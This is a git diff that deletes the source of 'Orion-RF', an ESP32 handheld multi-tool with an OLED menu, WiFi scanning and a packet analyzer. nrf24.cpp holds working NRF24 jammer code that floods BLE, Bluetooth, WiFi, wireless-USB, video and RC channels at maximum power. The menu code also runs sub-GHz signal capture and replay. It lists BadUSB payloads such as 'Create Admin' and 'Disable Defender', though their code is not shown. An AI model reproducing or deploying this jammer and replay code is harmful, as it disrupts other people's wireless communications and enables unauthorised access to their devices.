- for (int i = 0; i < VISIBLE_ROWS; i++)
- {
- int item = offset + i;
- if (item >= MAX_ITEMS) break;
-
- int y = 12 + i * 10;
-
- if (item == selectedIndex)
- {
- u8g2.drawBox(0, y - 9, 128, 10);
- u8g2.setDrawColor(0);
- }
-
- u8g2.drawStr(2, y, labels[item]);
-
- if (values[item])
- u8g2.drawStr(80, y, "OK");
- else
- u8g2.drawStr(80, y, "FAIL");
-
- if (item == selectedIndex)
- u8g2.setDrawColor(1);
- }
-
- u8g2.sendBuffer();
-}
-
-// ===== MAIN =====
-void device_check_run()
-{
- DeviceStatus status;
-
- Serial.println("Running device diagnostics...");
-
- // NRF
- status.nrf1 = checkNRF(radio1);
- status.nrf2 = checkNRF(radio2);
-
- // CC1101
- status.cc1101_1 = checkCC1101(CC1101_CS);
- status.cc1101_2 = checkCC1101(CC1101_2_CS);
-
- // Buttons
- status.buttons = checkButtons();
-
- drawStatus(status);
-
- Serial.println("Diagnostics complete");
-
- while (1)
-{
- drawStatus(status);
-
- if (btnUp())
- {
- selectedIndex--;
- if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
- delay(150);
- }
-
- if (btnDown())
- {
- selectedIndex++;
- if (selectedIndex >= MAX_ITEMS) selectedIndex = 0;
- delay(150);
- }
-
- if (btnBack())
- {
- delay(150);
- break;
- }
-}}
-
-
-
diff --git a/firmware/device_check.h b/firmware/device_check.h
deleted file mode 100644
index 3d6b250..0000000
--- a/firmware/device_check.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void device_check_run();
diff --git a/firmware/display.cpp b/firmware/display.cpp
deleted file mode 100644
index 12c9ac9..0000000
--- a/firmware/display.cpp
+++ /dev/null
@@ -1,16 +0,0 @@
-#include "display.h"
-#include <Wire.h>
-#include "config.h"
-
-
-U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
- U8G2_R0,
- U8X8_PIN_NONE
-);
-
-void displayInit()
-{
- Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
- u8g2.begin();
- u8g2.setFont(u8g2_font_6x12_tr);
-}
diff --git a/firmware/display.h b/firmware/display.h
deleted file mode 100644
index 0b48b75..0000000
--- a/firmware/display.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#pragma once
-
-#include <U8g2lib.h>
-
-extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
-
-void displayInit();
diff --git a/firmware/firmware.ino b/firmware/firmware.ino
deleted file mode 100644
index 83ba1f8..0000000
--- a/firmware/firmware.ino
+++ /dev/null
@@ -1,128 +0,0 @@
-#include <Arduino.h>
-#include <USB.h>
-#include <USBHIDKeyboard.h>
-
-#include <BLEDevice.h>
-#include <BLEScan.h>
-#include <BleMouse.h>
-
-#include <RF24.h>
-#include <nRF24L01.h>
-
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-
-#include <WiFi.h>
-#include <esp_wifi.h>
-
-#include <esp_chip_info.h>
-#include <esp_heap_caps.h>
-#include <esp_system.h>
-#include <SPI.h>
-
-
-#include "display.h"
-#include "buttons.h"
-#include "menu.h"
-
-#include "config.h"
-#include "cc1101.h"
-
-// ================= USB HID =================
-USBHIDKeyboard Keyboard;
-
-// ===== BLE MOUSE =====
-BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
-
-
-RF24 radio1(CE1_PIN, CSN1_PIN);
-RF24 radio2(CE2_PIN, CSN2_PIN);
-SPIClass *RADIO_SPI;
-
-
-void deactivateNRF1() {
- digitalWrite(CSN1_PIN, HIGH);
- digitalWrite(CE1_PIN, LOW);
-}
-
-void deactivateNRF2() {
- digitalWrite(CSN2_PIN, HIGH);
- digitalWrite(CE2_PIN, LOW);
-}
-
-
-// ================= SYSTEM INFO =================
-void printSystemUsage()
-{
- esp_chip_info_t chip_info;
-
- esp_chip_info(&chip_info);
-
- Serial.printf("CPU cores: %d\n", chip_info.cores);
-
- Serial.printf(
- "Free heap: %d bytes\n",
- heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
- );
-
- Serial.printf(
- "PSRAM free: %d bytes\n",
- heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
- );
-}
-
-void showSplash()
-{
- u8g2.clearBuffer();
-
- u8g2.setFont(u8g2_font_logisoso20_tr); // big font
- u8g2.drawStr(10, 40, "Orion-RF");
-
- u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
- u8g2.drawStr(25, 58, "Initializing...");
-
- u8g2.sendBuffer();
-
- delay(1500); // 1.5 sec
-}
-
-
-// ================= SETUP =================
-void setup()
-{
- Serial.begin(115200);
-
- displayInit();
- showSplash();
-
- buttonsInit();
- menuInit();
-
- delay(1500);
-
- USB.begin();
- Keyboard.begin();
-
-
-
- // NRF SPI safety
- //pinMode(CSN1_PIN, OUTPUT);
- //digitalWrite(CSN1_PIN, HIGH);
-
- //pinMode(CSN2_PIN, OUTPUT);
- //digitalWrite(CSN2_PIN, HIGH);
- deactivateNRF1();
- deactivateNRF2();
-
- RADIO_SPI = new SPIClass(FSPI);
- RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
-
- printSystemUsage();
-
- Serial.println("SYSTEM READY");
-}
-
-// ================= LOOP =================
-void loop()
-{
- menuLoop();
-}
diff --git a/firmware/menu.cpp b/firmware/menu.cpp
deleted file mode 100644
index 9880b89..0000000
--- a/firmware/menu.cpp
+++ /dev/null
@@ -1,402 +0,0 @@
-#include <Arduino.h>
-#include "menu.h"
-#include "display.h"
-#include "buttons.h"
-#include "badusb.h"
-#include "nrf24.h"
-#include "cc1101.h"
-#include "blescanner.h"
-#include "wifi_scan.h"
-#include "wifi_analyzer.h"
-#include "device_check.h"
-#include "ble_mouse.h"
-#include "sysinfo.h"
-#include "BleMouse.h"
-#include "nfc.h"
-
-// ================= MENU DATA =================
-extern BleMouse bleMouse;
-
-// Root menu
-const char *mainMenuItems[] = {
- "BadUSB",
- "RF Capture",
- "NRF Tools",
- "BLE Scan",
- "Wifi Scan",
- "Wifi Analyzer",
- "System Info",
- "Device Check",
- "Restart",
- "Ble Mouse",
- "NFC Tools"
-};
-
-Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
-
-
-// NRF Tools menu
-const char *nrfToolsItems[] = {
- "BLE Jammer",
- "Bluetooth Jammer",
- "Wifi Jammer",
- "USB Wireless",
- "Video TX",
- "Zigbee",
- "RC"
-
-};
-
-Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
-
-
-// BadUSB submenu
-const char *badusbItems[] = {"DEMO",
- "KEYBOARD",
- "HID SCRIPT",
- "Open Notepad",
- "Open CMD",
- "Show IP",
- "Shutdown",
- "RickRoll",
- "Create Admin",
- "Disable Defender",
- "Open YouTube",
- "Lock PC",
- "Fake Update",
- "Endless Notepad",
- "Fake BSOD",
- "Flip Screen",
- "Matrix Effect",
- "I'm Watching U",
- "Open Google",
- "Open telegram",
- "Play Alarm Sound",
- "Endless CMD",
- "Type Gibberish",
- "Spam CAPSLOCK",
- "Open Calc",
- "Auto 'Hacked!'",
- "Turn Off Monitor",
- "Open RegEdit",
- "Kill Explorer",
- "Flash Screen",
- "Rename Desktop",
- "Toggle WiFi",
- "Auto Screenshot",
- "Spam Emojis",
- "Open Ctrl Panel",
- "Troll Wallpaper",
- "Open MS Paint",
- "Tab Switcher"};
-
-
-Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
-
-// ================= MENU STATE =================
-
-Menu *currentMenu = &mainMenu;
-
-int menuIndex = 0;
-int menuOffset = 0;
-
-#define MENU_VISIBLE_ROWS 4
-
-bool insideFeature = false;
-
-// ================= DRAW =================
-
-void drawMenu()
-{
- u8g2.clearBuffer();
-
- // scroll handling
- if (menuIndex < menuOffset)
- menuOffset = menuIndex;
-
- if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
- menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
-
- for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
- {
- int item = menuOffset + i;
-
- if (item >= currentMenu->size)
- break;
-
- if (item == menuIndex)
- u8g2.drawStr(0, 14 + i * 14, ">");
-
- u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
- }
-
- // scroll indicators
- if (menuOffset > 0)
- u8g2.drawStr(118, 10, "^");
-
- if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
- u8g2.drawStr(118, 62, "v");
-
- u8g2.sendBuffer();
-}
-
-// ================= FEATURE EXECUTION =================
-
-void launchFeature()
-{
- insideFeature = true;
-
- if (currentMenu == &mainMenu)
- {
- switch (menuIndex)
- {
- case 0: // BadUSB → enter submenu
- currentMenu = &badusbMenu;
- menuIndex = 0;
- menuOffset = 0;
- break;
-
- case 1:
- if (!isCC1101Ready()) {
- if (!initCC1101()) {
- Serial.println("CC1101 failed");
- return;
- }
- }
-
- Serial.println("Ready to capture...");
-
- startCapture();
- delay(5000);
- stopCapture();
- printCapture();
- delay(5000);
- replaySignal();
- break;
-
- case 2:
- // startNRFJammer();
- //startBleJammer();
- //startBluetoothJammer();
- currentMenu = &nrfToolsMenu;
- menuIndex = 0;
- menuOffset = 0;
- break;
-
- break;
- case 3:
- ble_scan();
- ble_drawMenu();
- while (1) {
- ble_loop();
- if (btnBack())
- break;
- }
- break;
-
- case 4:
- {
- // Start scan once
- wifi_scan_start();
- wifi_scan_draw();
-
- while (1) {
- wifi_scan_loop();
- // EXIT condition handled ONLY here
- if (btnBack()) {
- delay(150); // debounce
- break;
- }
- }
- break;
- }
- case 5:
- {
-
- wifi_analyzer_start();
-
- bool prevBack = false;
- while (1)
- {
- wifi_analyzer_loop();
- bool nowBack = btnBack();
- if (nowBack && !prevBack)
- {
- delay(150);
- break;
- }
- prevBack = nowBack;
- }
- break;
- }
-
- case 6:
- runSystemInfoFeature();
- break;
- case 7:
- device_check_run();
- break;
- case 8:
- {
- // wait for button release
- delay(200);
-
- while (btnSelect())
- delay(10);
- bool confirm = false;
-
- while (1)
- {
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x13_tr);
-
- u8g2.drawStr(18, 18, "Restart Device?");
-
- if (confirm)
- {
- u8g2.drawBox(10, 35, 45, 15);
- u8g2.setDrawColor(0);
- u8g2.drawStr(20, 47, "YES");
- u8g2.setDrawColor(1);
-
- u8g2.drawStr(75, 47, "NO");
- }
- else
- {
- u8g2.drawStr(20, 47, "YES");
-
- u8g2.drawBox(65, 35, 45, 15);
- u8g2.setDrawColor(0);
- u8g2.drawStr(78, 47, "NO");
- u8g2.setDrawColor(1);
- }
-
- u8g2.sendBuffer();
-
- if (btnLeft() || btnUp())
- {
- confirm = true;
- delay(150);
- }
-
- if (btnRight() || btnDown())
- {
- confirm = false;
- delay(150);
- }
-
- if (btnSelect())
- {
- delay(150);
-
- if (confirm)
- {
- u8g2.clearBuffer();
- u8g2.drawStr(28, 30, "Restarting...");
- u8g2.sendBuffer();
-
- delay(1000);
- ESP.restart();
- }
- else
- {
- break;
- }
- }
-
- if (btnBack())
- {
- delay(150);
- break;
- }
- }
- }
- break;
-
- case 9:
- // Begin Ble mouse
- bleMouse.begin();
- ble_mouse_run();
- break;
- case 10:
- pn532_scan_loop();
- break;
- }
- }
- else if (currentMenu == &badusbMenu)
- {
- badUSBMenu(menuIndex);
- } else if (currentMenu == &nrfToolsMenu) {
- NRFToolsMenu(menuIndex);
- }
-
- insideFeature = false;
-
- drawMenu();
-}
-
-// ================= INIT =================
-
-void menuInit()
-{
- currentMenu = &mainMenu;
- menuIndex = 0;
- menuOffset = 0;
-
- drawMenu();
-}
-
-// ================= LOOP =================
-
-void menuLoop()
-{
- static uint32_t lastPress = 0;
-
- if (insideFeature)
- return;
-
- if (millis() - lastPress < 150)
- return;
-
- if (btnUp())
- {
- menuIndex--;
-
- if (menuIndex < 0)
- menuIndex = currentMenu->size - 1;
-
- drawMenu();
- lastPress = millis();
- }
-
- else if (btnDown())
- {
- menuIndex++;
-
- if (menuIndex >= currentMenu->size)
- menuIndex = 0;
-
- drawMenu();
- lastPress = millis();
- }
-
- else if (btnSelect())
- {
- launchFeature();
- lastPress = millis();
- }
-
- else if (btnBack())
- {
- if (currentMenu != &mainMenu)
- {
- currentMenu = &mainMenu;
- menuIndex = 0;
- menuOffset = 0;
-
- drawMenu();
- }
-
- lastPress = millis();
- }
-}
diff --git a/firmware/menu.h b/firmware/menu.h
deleted file mode 100644
index c51cd24..0000000
--- a/firmware/menu.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-
-struct Menu
-{
- const char **items;
- int size;
-};
-
-void menuInit();
-void menuLoop();
diff --git a/firmware/nrf24.cpp b/firmware/nrf24.cpp
deleted file mode 100644
index 7d12051..0000000
--- a/firmware/nrf24.cpp
+++ /dev/null
@@ -1,249 +0,0 @@
-#include <Arduino.h>
-#include <RF24.h>
-#include "buttons.h"
-#include "nrf24.h"
-#include "display.h"
-#define JAM_DURATION 500
-
-extern SPIClass *RADIO_SPI;
-extern RF24 radio1;
-extern RF24 radio2;
-
-// ============ CHANNELS =============
-const byte bleChannels[] = {2, 26, 80};
-const byte bluetoothChannels[] = {
- 32, 34, 46, 48, 50, 52,
- 0, 1, 2, 4, 6, 8,
- 22, 24, 26, 28, 30,
- 74, 76, 78, 80
-};
-const byte wifiChannels[] = {
- 12, 17, 22, 27, 32,
- 37, 42, 47, 52, 57,
- 62, 67, 72
-};
-const byte usbWireless_channels[] = {40, 50, 60};
-const byte videoTransmitter_channels[] = {70, 75, 80};
-const byte zigbee_channels[] = {11, 15, 20, 25};
-const byte rc_channels[] = {1, 3, 5, 7};
-
-void initNRF(RF24 &radio)
-{
- if (!radio.begin(RADIO_SPI)) {
- Serial.println("NRF not found");
- return;
- }
-
- radio.setAutoAck(false);
- radio.stopListening();
- radio.setRetries(0, 0);
- radio.setPALevel(RF24_PA_MAX, true);
- radio.setDataRate(RF24_2MBPS);
- radio.openWritingPipe(0xE7E7E7E7E7LL);
- radio.setCRCLength(RF24_CRC_DISABLED);
- Serial.println("NRF Initialized");
-
-}
-
-
-
-//void startBleJammer() {
-// initNRF(radio1);
-// initNRF(radio2);
-//
-// Serial.println("NRF JAMMER STARTED");
-//
-// const char payload[] = "xxxxxxxxxxxxxxxx";
-//
-// u8g2.clearBuffer();
-// u8g2.drawStr(0, 10, "Jamming:");
-// u8g2.setCursor(60, 10);
-// u8g2.print("Bluetooth");
-// u8g2.sendBuffer();
-//
-// while(true) {
-//
-// // Channels (you can change this set)
-// const byte channels[] = {2, 26, 80};
-//
-//
-// for (int i = 0; i < sizeof(channels); i++) {
-// radio1.setChannel(channels[i]);
-// radio1.write(&payload, sizeof(payload));
-// //radio2.setChannel(channels[i]);
-// //radio2.write(&payload, sizeof(payload));
-// }
-//
-// if (btnBack())
-// {
-// Serial.println("Jammer stopped");
-// return;
-// }
-// }
-//
-//}
-//
-//void startBluetoothJammer()
-//{
-// initNRF(radio1);
-// initNRF(radio2);
-//
-// Serial.println("NRF JAMMER STARTED");
-//
-// const char payload[] = "xxxxxxxxxxxxxxxx";
-//
-// u8g2.clearBuffer();
-// u8g2.drawStr(0, 10, "Jamming:");
-// u8g2.setCursor(60, 10);
-// u8g2.print("Bluetooth");
-// u8g2.sendBuffer();
-//
-// while(true) {
-//
-// // Channels (you can change this set)
-// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
-//
-//
-// for (int i = 0; i < sizeof(channels); i++) {
-// radio1.setChannel(channels[i]);
-// radio1.write(&payload, sizeof(payload));
-// //radio2.setChannel(channels[i]);
-// //radio2.write(&payload, sizeof(payload));
-// }
-//
-// if (btnBack())
-// {
-// Serial.println("Jammer stopped");
-// return;
-// }
-// }
-//}
-
-void startJammer(const char* name, const byte* channels, size_t channelCount)
-{
- initNRF(radio1);
- initNRF(radio2);
-
- Serial.println("NRF JAMMER STARTED");
-
- const char payload[] = "xxxxxxxxxxxxxxxx";
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 15, "NRF24 Jammer");
- u8g2.drawStr(0, 35, name);
- u8g2.drawStr(0, 55, "BACK = Exit");
- u8g2.sendBuffer();
-
- while (true)
- {
- for (size_t i = 0; i < channelCount; i++)
- {
- //radio1.setChannel(channels[i]);
- //radio1.write(&payload, sizeof(payload));
-
- // Optional second NRF
- // radio2.setChannel(channels[i]);
- // radio2.write(&payload, sizeof(payload));
-
-
- radio1.setChannel(channels[i]);
- radio2.setChannel(channels[(i + 1) % channelCount]);
-
- radio1.writeFast(&payload, sizeof(payload));
- radio2.writeFast(&payload, sizeof(payload));
- }
-
- if (btnBack())
- {
- Serial.println("Jammer stopped");
- radio1.powerDown();
- radio2.powerDown();
- return;
- }
- }
-
- //while (true) {
- //for (size_t i = 0; i < channelCount; i++)
- //{
- // radio1.setChannel(channels[i]);
- // radio2.setChannel(channels[(i + 1) % channelCount]);
-
- // radio1.writeFast(&payload, sizeof(payload));
- // radio2.writeFast(&payload, sizeof(payload));
-
- // radio1.txStandBy(1);
- // radio2.txStandBy(1);
-
- // delayMicroseconds(200);
- //}
-
-
- //if (btnBack())
- //{
- // Serial.println("Jammer stopped");
-
- // radio1.powerDown();
- // radio2.powerDown();
-
- // return;
- //}
-//}
-}
-
-void NRFToolsMenu(int index) {
- switch (index) {
- case 0:
- // startBleJammer();
- // BLE
- startJammer(
- "BLE",
- bleChannels,
- sizeof(bleChannels) / sizeof(bleChannels[0])
- );
-
- break;
- case 1:
- // startBluetoothJammer();
- // Bluetooth
- startJammer(
- "Bluetooth",
- bluetoothChannels,
- sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
- );
- break;
-
- case 2:
- startJammer(
- "WiFi",
- wifiChannels,
- sizeof(wifiChannels) / sizeof(wifiChannels[0])
- );
- break;
- case 3:
- startJammer(
- "USB Wireless",
- usbWireless_channels,
- sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
- );
- break;
- case 4:
- startJammer(
- "Video TX",
- videoTransmitter_channels,
- sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
- );
- break;
- case 5:
- break;
- startJammer(
- "RC",
- rc_channels,
- sizeof(rc_channels) / sizeof(rc_channels[0])
- );
- break;
- case 6:
-
- break;
-}
- }
diff --git a/firmware/nrf24.h b/firmware/nrf24.h
deleted file mode 100644
index 308bbc4..0000000
--- a/firmware/nrf24.h
+++ /dev/null
@@ -1,13 +0,0 @@
-#pragma once
-
-#include <RF24.h>
-
-// Initialization
-void initNRF(RF24 &radio);
-
-void startBluetoothJammer();
-void startBleJammer();
-
-void startJammer(const char* name, const byte* channels, size_t channelCount);
-
-void NRFToolsMenu(int index);
diff --git a/firmware/sysinfo.cpp b/firmware/sysinfo.cpp
deleted file mode 100644
index afd13aa..0000000
--- a/firmware/sysinfo.cpp
+++ /dev/null
@@ -1,87 +0,0 @@
-#include <Arduino.h>
-#include "display.h"
-#include "buttons.h"
-#include <esp_chip_info.h>
-#include <esp_heap_caps.h>
-
-void runSystemInfoFeature()
-{
- esp_chip_info_t chip_info;
-
- esp_chip_info(&chip_info);
-
- while (true)
- {
- //u8g2.clearBuffer();
-
- //char buf[32];
-
- //sprintf(buf, "Cores: %d", chip_info.cores);
- //u8g2.drawStr(0, 14, buf);
-
- //sprintf(buf, "Heap: %d",
- // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
- //u8g2.drawStr(0, 28, buf);
-
-
- //u8g2.drawStr(0, 60, "BACK to exit");
-
- // Get RAM info
- size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
- size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
- int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
-
- // Get Flash info
- //uint32_t flashSize = spi_flash_get_chip_size();
- uint32_t flashSize = ESP.getFlashChipSize();
- uint32_t flashUsed = ESP.getSketchSize();
- int flashUsage = (flashUsed * 100) / flashSize;
-
- // Temperature (approx)
- uint8_t temperature = temperatureRead();
-
- // Chip info
- esp_chip_info_t chip_info;
- esp_chip_info(&chip_info);
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x12_tr);
-
- char buf[32];
-
- // Box 1 - RAM
- u8g2.drawFrame(0, 0, 128, 12);
- sprintf(buf, "RAM: %d%% used", ramUsage);
- u8g2.drawStr(4, 9, buf);
-
- // Box 2 - Flash
- u8g2.drawFrame(0, 12, 128, 12);
- sprintf(buf, "Flash: %d%% used", flashUsage);
- u8g2.drawStr(4, 21, buf);
-
- // Box 3 - Temp (FULL WIDTH now)
- u8g2.drawFrame(0, 24, 128, 12);
- sprintf(buf, "Temp: %d C", temperature);
- u8g2.drawStr(4, 33, buf);
-
- // Box 4 - Chip info (FULL WIDTH)
- u8g2.drawFrame(0, 36, 128, 12);
- sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
- u8g2.drawStr(4, 45, buf);
-
- // Box 5 - PSRAM (KB)
- u8g2.drawFrame(0, 48, 128, 12);
- sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
- u8g2.drawStr(4, 57, buf);
-
- u8g2.sendBuffer();
-
- if (btnBack())
- {
- delay(200);
- return;
- }
-
- delay(100);
- }
-}
diff --git a/firmware/sysinfo.h b/firmware/sysinfo.h
deleted file mode 100644
index 8a4f176..0000000
--- a/firmware/sysinfo.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void runSystemInfoFeature();
diff --git a/firmware/wifi_analyzer.cpp b/firmware/wifi_analyzer.cpp
deleted file mode 100644
index 0264088..0000000
--- a/firmware/wifi_analyzer.cpp
+++ /dev/null
@@ -1,147 +0,0 @@
-#include <Arduino.h>
-#include <WiFi.h>
-#include <esp_wifi.h>
-
-#include "display.h"
-#include "buttons.h"
-
-// ===== CONFIG =====
-#define GRAPH_WIDTH 128
-#define GRAPH_HEIGHT 44
-#define GRAPH_TOP 10
-#define MAX_POINTS 128
-#define SPIKE_THRESHOLD 30
-
-// ===== STATE =====
-struct SnifferGraph {
- uint8_t graphData[MAX_POINTS];
- uint8_t currentChannel = 1;
- volatile uint16_t packetCounter = 0;
- unsigned long lastChannelSwitch = 0;
- unsigned long lastUpdate = 0;
-};
-
-static SnifferGraph sniffer;
-
-// ===== CALLBACK =====
-void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
-{
- if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
- {
- sniffer.packetCounter++;
- }
-}
-
-// ===== INIT =====
-void wifi_analyzer_start()
-{
- // display init (safe to call again)
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 10, "Starting analyzer...");
- u8g2.sendBuffer();
-
- // reset graph
- memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
- sniffer.packetCounter = 0;
- sniffer.currentChannel = 1;
-
- // reset WiFi
- WiFi.disconnect(true, true);
- esp_wifi_stop();
- delay(200);
- esp_wifi_deinit();
-
- wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
- esp_wifi_init(&cfg);
- esp_wifi_set_storage(WIFI_STORAGE_RAM);
- esp_wifi_set_mode(WIFI_MODE_NULL);
- esp_wifi_start();
-
- esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
- esp_wifi_set_promiscuous_rx_cb(snifferCallback);
- esp_wifi_set_promiscuous(true);
-}
-
-// ===== HELPERS =====
-static void switchChannel()
-{
- sniffer.currentChannel++;
- if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
-
- esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
-}
-
-static void updateGraph(uint8_t value)
-{
- for (int i = 0; i < MAX_POINTS - 1; i++)
- {
- sniffer.graphData[i] = sniffer.graphData[i + 1];
- }
-
- sniffer.graphData[MAX_POINTS - 1] = value;
-}
-
-static void drawGraph(uint16_t pktCount)
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
-
- char line1[16];
- char line2[16];
-
- sprintf(line1, "Ch:%d", sniffer.currentChannel);
- sprintf(line2, "Pkts:%d", pktCount * 5);
-
- u8g2.drawStr(0, 8, line1);
- u8g2.drawStr(60, 8, line2);
-
- for (int x = 1; x < GRAPH_WIDTH; x++)
- {
- int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
- int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
-
- u8g2.drawLine(x - 1, y1, x, y2);
- }
-
- if (pktCount >= SPIKE_THRESHOLD)
- {
- u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
- }
-
- u8g2.sendBuffer();
-}
-
-// ===== LOOP =====
-void wifi_analyzer_loop()
-{
- static uint32_t lastPress = 0;
- unsigned long now = millis();
-
- // channel hopping
- if (now - sniffer.lastChannelSwitch >= 1000)
- {
- sniffer.lastChannelSwitch = now;
- switchChannel();
- }
-
- // graph update
- if (now - sniffer.lastUpdate >= 200)
- {
- sniffer.lastUpdate = now;
-
- uint16_t pktCount = sniffer.packetCounter;
-
- uint8_t scaled = pktCount * 2;
- uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
-
- updateGraph(value);
- drawGraph(pktCount);
-
- sniffer.packetCounter = 0;
- }
-
- // optional: small debounce to not hammer CPU
- if (millis() - lastPress < 10)
- return;
-}
diff --git a/firmware/wifi_analyzer.h b/firmware/wifi_analyzer.h
deleted file mode 100644
index df68284..0000000
--- a/firmware/wifi_analyzer.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#pragma once
-
-void wifi_analyzer_start();
-void wifi_analyzer_loop();
diff --git a/firmware/wifi_scan.cpp b/firmware/wifi_scan.cpp
deleted file mode 100644
index d4657bb..0000000
--- a/firmware/wifi_scan.cpp
+++ /dev/null
@@ -1,152 +0,0 @@
-#include <Arduino.h>
-#include <WiFi.h>
-#include "display.h"
-#include "buttons.h"
-
-#define MAX_NETWORKS 30
-
-struct WiFiNet {
- String ssid;
- int rssi;
- int channel;
- bool encrypted;
-};
-
-static WiFiNet networks[MAX_NETWORKS];
-static int networkCount = 0;
-static int selectedIndex = 0;
-
-// ===== SCAN =====
-void wifi_scan_start()
-{
- u8g2.clearBuffer();
- u8g2.drawStr(10, 30, "Scanning WiFi...");
- u8g2.sendBuffer();
-
- WiFi.mode(WIFI_STA);
- WiFi.disconnect();
-
- delay(100);
-
- int n = WiFi.scanNetworks();
-
- networkCount = min(n, MAX_NETWORKS);
-
- for (int i = 0; i < networkCount; i++)
- {
- networks[i].ssid = WiFi.SSID(i);
- networks[i].rssi = WiFi.RSSI(i);
- networks[i].channel = WiFi.channel(i);
- networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
- }
-
- selectedIndex = 0;
-}
-
-// ===== DRAW =====
-void wifi_scan_draw()
-{
- u8g2.clearBuffer();
-
- if (networkCount == 0)
- {
- u8g2.drawStr(0, 30, "No networks");
- u8g2.drawStr(0, 45, "Press BACK");
- }
- else
- {
- char counter[20];
- sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
- u8g2.setFont(u8g2_font_5x8_tr);
- u8g2.drawStr(0, 8, counter);
-
- u8g2.setFont(u8g2_font_6x10_tr);
-
- for (int i = 0; i < 3; i++)
- {
- int idx = selectedIndex + i;
- if (idx >= networkCount) break;
-
- int y = 22 + i * 14;
-
- if (i == 0)
- {
- u8g2.drawBox(0, y - 10, 128, 12);
- u8g2.setDrawColor(0);
- }
-
- String text = networks[idx].ssid;
- if (text.length() > 10)
- text = text.substring(0, 10) + "..";
-
- text += " (" + String(networks[idx].rssi) + ")";
-
- u8g2.drawStr(2, y, text.c_str());
-
- if (i == 0)
- u8g2.setDrawColor(1);
- }
- }
-
- u8g2.sendBuffer();
-}
-
-// ===== DETAILS =====
-void wifi_drawDetails()
-{
- if (networkCount == 0) return;
-
- WiFiNet &net = networks[selectedIndex];
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
-
- u8g2.drawStr(0, 10, net.ssid.c_str());
-
- char rssi[20];
- sprintf(rssi, "RSSI: %d", net.rssi);
- u8g2.drawStr(0, 20, rssi);
-
- char ch[20];
- sprintf(ch, "CH: %d", net.channel);
- u8g2.drawStr(0, 30, ch);
-
- u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
-
- u8g2.sendBuffer();
-}
-
-// ===== LOOP =====
-void wifi_scan_loop()
-{
- static uint32_t lastPress = 0;
-
- if (millis() - lastPress < 150)
- return;
-
- if (btnDown() && selectedIndex < networkCount - 1)
- {
- selectedIndex++;
- wifi_scan_draw();
- lastPress = millis();
- }
- else if (btnUp() && selectedIndex > 0)
- {
- selectedIndex--;
- wifi_scan_draw();
- lastPress = millis();
- }
- else if (btnSelect() && networkCount > 0)
- {
- wifi_drawDetails();
- delay(3000);
- wifi_scan_draw();
- lastPress = millis();
- }
-// else if (btnBack())
-// {
-// wifi_scan_start();
-// wifi_scan_draw();
-// lastPress = millis();
-// }
-}
diff --git a/firmware/wifi_scan.h b/firmware/wifi_scan.h
deleted file mode 100644
index 902054e..0000000
--- a/firmware/wifi_scan.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void wifi_scan_start();
-void wifi_scan_loop();
-void wifi_scan_draw();